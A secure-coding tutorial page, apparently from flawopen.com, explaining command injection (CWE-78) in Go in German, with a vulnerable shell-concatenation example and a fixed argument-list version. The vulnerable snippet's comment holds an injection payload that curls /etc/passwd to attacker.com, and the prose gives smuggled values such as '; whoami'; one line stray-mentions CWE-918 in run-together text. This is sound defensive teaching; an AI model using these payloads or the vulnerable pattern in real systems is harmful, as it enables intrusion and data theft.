flawopen.com/command-injection/Go
Learn how to fix Command Injection (CWE-78) in Go. Side-by-side vulnerable vs secure code examples for os/exec.Command() with argument lists.
Stellen Sie sich vor, Sie bitten einen Assistenten, ein Dokument namens 'bericht.pdf' zu drucken. Eine Befehlsinjektion geschieht, wenn jemand den Dateinamen 'bericht.pdf; whoami' übergibt und der Assistent diesen ganzen Zettel an das Terminal weitergibt, wodurch der Bericht gedruckt und der Administratorenausweis ausgelesen wird.
Web Application SecurityCWE-918 betroffen ist.CWE-918Defense-in-DepthDie Anwendung akzeptiert Hostnamen, Dateinamen oder Diagnoseparameter direkt aus einer HTTP-Anfrage.
Das Backend erstellt den Shell-Befehlsstring durch einfache Zeichenfolgenverkettung statt über ein isoliertes Argumenten-Array.
Der Angreifer fügt Shell-Metazeichen wie ';', '&&', '|' oder Backticks ein (z. B. '127.0.0.1; id'), um den Befehlskontext zu verlassen.
Die Shell des Betriebssystems führt den angehängten Schadcode mit den Rechten des Webserverprozesses aus.
// Spawning bash explicitly to execute concatenated string
package main
import (
"os/exec"
)
func runBackup(target string) ([]byte, error) {
// Attacker input: "db; curl http://attacker.com/leak --data @/etc/passwd"
cmdStr := "tar -czf backup.tar.gz " + target
cmd := exec.Command("sh", "-c", cmdStr)
return cmd.Output()
}
// Calling tar directly without an intermediate shell
package main
import (
"os/exec"
)
func runBackup(target string) ([]byte, error) {
// target is passed strictly as a single filename argument
cmd := exec.Command("tar", "-czf", "backup.tar.gz", target)
return cmd.Output()
}